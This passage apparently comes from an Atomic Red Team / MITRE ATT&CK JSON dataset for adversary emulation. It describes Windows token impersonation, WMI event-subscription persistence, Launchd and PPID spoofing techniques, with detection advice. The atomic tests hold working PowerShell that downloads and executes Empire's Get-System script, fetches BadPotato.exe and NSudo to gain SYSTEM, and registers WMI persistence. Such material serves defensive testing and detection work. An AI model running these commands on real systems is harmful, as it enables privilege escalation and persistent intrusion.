- "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
- "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
- "source_name": "Microsoft Command-line Logging"
- }
- ],
- "modified": "2020-03-26T21:29:18.608Z",
- "name": "Access Token Manipulation: Token Impersonation/Theft",
- "description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex)
. The token can then be used with ImpersonateLoggedOnUser
to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken
to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas
command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex)
, ImpersonateLoggedOnUser
, and SetThreadToken
and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control",
- "System access controls",
- "File system access controls"
- ],
- "identifier": "T1134.001"
- },
- "atomic_tests": [
- {
- "name": "Named pipe client impersonation",
- "auto_generated_guid": "90db9e27-8e7c-4c04-b602-a45927884966",
- "description": "Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).\n\nReference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "`SeDebugPrivilege` token duplication",
- "auto_generated_guid": "34f0a430-9d04-4d98-bcb5-1989f14719f0",
- "description": "Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Launch NSudo Executable",
- "auto_generated_guid": "7be1bc0f-d8e5-4345-9333-f5f67d742cb9",
- "description": "Launches the NSudo executable for a short period of time and then exits.\nNSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "nsudo_path": {
- "description": "Path to the NSudo bat file",
- "type": "path",
- "default": "$env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\\x64\\NSudoLG.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "NSudo.bat must exist in the specified path #{nsudo_path}\n",
- "prereq_command": "if (Test-Path #{nsudo_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:TEMP\\NSudo_8.2_All_Components.zip \"https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip\"\nExpand-Archive -Path $env:TEMP\\NSudo_8.2_All_Components.zip -DestinationPath $env:TEMP\\NSudo_8.2_All_Components -Force\nRename-Item \"$env:TEMP\\NSudo_8.2_All_Components\\NSudo Launcher\" $env:TEMP\\NSudo_8.2_All_Components\\NSudo_Launcher\nRemove-Item $env:TEMP\\NSudo_8.2_All_Components.zip -Recurse -ErrorAction Ignore\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{nsudo_path} -Argument \"-U:T -P:E cmd\"\nStart-Sleep -Second 5\nStop-Process -Name \"cmd\" -force -erroraction silentlycontinue\n",
- "name": "powershell"
- }
- },
- {
- "name": "Bad Potato",
- "auto_generated_guid": "9c6d799b-c111-4749-a42f-ec2f8cb51448",
- "description": "https://github.com/BeichenDream/BadPotato\nPrivilege escalation using named pipe connections",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "BadPotato.exe must exist in the temp directory\n",
- "prereq_command": "if (Test-Path $env:temp\\BadPotato.exe) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:TEMP\\BadPotato.exe \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true\"\n"
- }
- ],
- "executor": {
- "command": "cd $env:temp\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n",
- "cleanup_command": "taskkill /f /im notepad.exe\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1134.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
- "type": "attack-pattern",
- "created": "2020-02-18T18:03:37.481Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.003",
- "url": "https://attack.mitre.org/techniques/T1134/003"
- },
- {
- "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
- "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
- "source_name": "Microsoft Command-line Logging"
- }
- ],
- "modified": "2020-02-18T18:03:37.481Z",
- "name": "Make and Impersonate Token",
- "description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser
function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken
to assign the token to a thread.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas
command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser
and SetThreadToken
and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control",
- "System access controls",
- "File system access controls"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1053.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3",
- "type": "attack-pattern",
- "created": "2019-12-03T14:15:27.452Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.004",
- "url": "https://attack.mitre.org/techniques/T1053/004"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
- "source_name": "AppleDocs Launch Agent Daemons"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- }
- ],
- "modified": "2021-10-07T21:38:03.610Z",
- "name": "Launchd",
- "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd
daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd
daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons
and /Library/LaunchDaemons
(Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd
daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd
can also be abused to run a process under the context of a specified account. Daemons, such as launchd
, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1546.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Brent Murphy, Elastic",
- "David French, Elastic"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
- "created": "2020-01-24T14:07:56.276Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.003",
- "url": "https://attack.mitre.org/techniques/T1546/003"
- },
- {
- "source_name": "FireEye WMI 2015",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
- "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016."
- },
- {
- "source_name": "Dell WMI Persistence",
- "url": "https://www.secureworks.com/blog/wmi-persistence",
- "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016."
- },
- {
- "source_name": "FireEye WMI SANS 2015",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf",
- "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."
- },
- {
- "source_name": "Medium Detecting WMI Persistence",
- "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
- "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019."
- },
- {
- "source_name": "Elastic - Hunting for Persistence Part 1",
- "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1",
- "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020."
- },
- {
- "source_name": "Mandiant M-Trends 2015",
- "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
- "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016."
- },
- {
- "source_name": "Microsoft Register-WmiEvent",
- "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1",
- "description": "Microsoft. (n.d.). Retrieved January 24, 2020."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "Microsoft MOF May 2018",
- "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-",
- "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
- "modified": "2022-04-20T17:01:37.760Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Windows Management Instrumentation Event Subscription",
- "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter
, EventConsumer
, and FilterToConsumerBinding
events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding
events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent
[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "WMI: WMI Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.003"
- },
- "atomic_tests": [
- {
- "name": "Persistence via WMI Event Subscription - CommandLineEventConsumer",
- "auto_generated_guid": "3c64f177-28e2-49eb-a799-d767b24dd1e0",
- "description": "Run from an administrator powershell window. After running, reboot the victim machine.\nAfter it has been online for 4 minutes you should see notepad.exe running as SYSTEM.\n\nCode references\n\nhttps://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af\n\nhttps://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n EventNameSpace='root\\CimV2';\n QueryLanguage=\"WQL\";\n Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n CommandLineTemplate=\"$($Env:SystemRoot)\\System32\\notepad.exe\";}\n$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = [Ref] $Filter;\nConsumer = [Ref] $Consumer;\n}\n$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs\n",
- "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Persistence via WMI Event Subscription - ActiveScriptEventConsumer",
- "auto_generated_guid": "fecd0dfd-fb55-45fa-a10b-6250272d0832",
- "description": "Run from an administrator powershell window. After running, reboot the victim machine.\nAfter it has been online for 4 minutes you should see notepad.exe running as SYSTEM.\n\nCode references\n\nhttps://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\n EventNameSpace='root\\CimV2';\n QueryLanguage=\"WQL\";\n Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\n ScriptingEngine='VBScript';\n ScriptText='\n Set objws = CreateObject(\"Wscript.Shell\")\n objws.Run \"notepad.exe\", 0, True\n '}\n$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = $Filter;\nConsumer = $Consumer;\n}\n$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs\n",
- "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Windows MOFComp.exe Load MOF File",
- "auto_generated_guid": "29786d7e-8916-4de6-9c55-be7b093b2706",
- "description": "The following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "mofcomp_path": {
- "description": "Location of mofcomp.exe",
- "type": "string",
- "default": "c:\\windows\\system32\\wbem\\mofcomp.exe"
- },
- "mof_file": {
- "description": "Local location MOF file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "MofComp.exe must exist on disk at specified location (#{mofcomp_path})\n",
- "prereq_command": "if (Test-Path \"#{mofcomp_path}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "Validate MOFComp.exe is on disk somewhere and update input argument.\n"
- },
- {
- "description": "MofComp.exe must exist on disk at specified location (#{mof_file})\n",
- "prereq_command": "if (Test-Path \"#{mof_file}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{mof_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof\" -OutFile \"#{mof_file}\"\n"
- }
- ],
- "executor": {
- "command": "#{mofcomp_path} #{mof_file}\n",
- "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam_consumer'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam_filter'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1134.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wayne Silva, F-Secure Countercept"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
- "created": "2020-02-18T18:22:41.448Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.004",
- "url": "https://attack.mitre.org/techniques/T1134/004"
- },
- {
- "source_name": "XPNSec PPID Nov 2017",
- "url": "https://blog.xpnsec.com/becoming-system/",
- "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019."
- },
- {
- "source_name": "CounterCept PPID Spoofing Dec 2018",
- "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/",
- "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019."
- },
- {
- "source_name": "Microsoft UAC Nov 2018",
- "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works",
- "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019."
- },
- {
- "source_name": "Microsoft Process Creation Flags May 2018",
- "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags",
- "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."
- },
- {
- "source_name": "Secuirtyinbits Ataware3 May 2019",
- "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3",
- "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."
- },
- {
- "source_name": "DidierStevens SelectMyParent Nov 2009",
- "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/",
- "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019."
- },
- {
- "source_name": "CTD PPID Spoofing Macro Mar 2019",
- "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/",
- "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess
API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe
or consent.exe
) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe
rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe
), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
- "modified": "2022-05-03T02:15:42.360Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Access Token Manipulation: Parent PID Spoofing",
- "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess
/CreateProcessA
, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess
/CreateProcessA
may also be proceeded by a call to UpdateProcThreadAttribute
, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Heuristic Detection",
- "Host Forensic Analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
